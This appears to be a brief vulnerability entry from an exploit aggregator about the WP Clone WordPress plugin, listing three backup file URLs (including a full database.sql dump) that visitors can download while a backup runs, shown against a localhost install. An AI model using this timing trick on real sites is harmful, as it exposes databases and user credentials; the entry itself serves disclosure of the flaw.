## https://sploitus.com/exploit?id=WPEX-ID:FAD9EEFE-4552-4D20-A1FD-BB2E172EC8D7
While a backup job is running, visitors can access one of the following files (it might take a couple tries, as the timing needs to be right):
"http://127.0.0.1/wordpress/wp-content/uploads/wp-clone/wpclone_backup/file.list",
"http://127.0.0.1/wordpress/wp-content/uploads/wp-clone/wpclone_backup/database.sql",
"http://127.0.0.1/wordpress/wp-content/uploads/wp-clone/wpclone_backup/prefix.txt"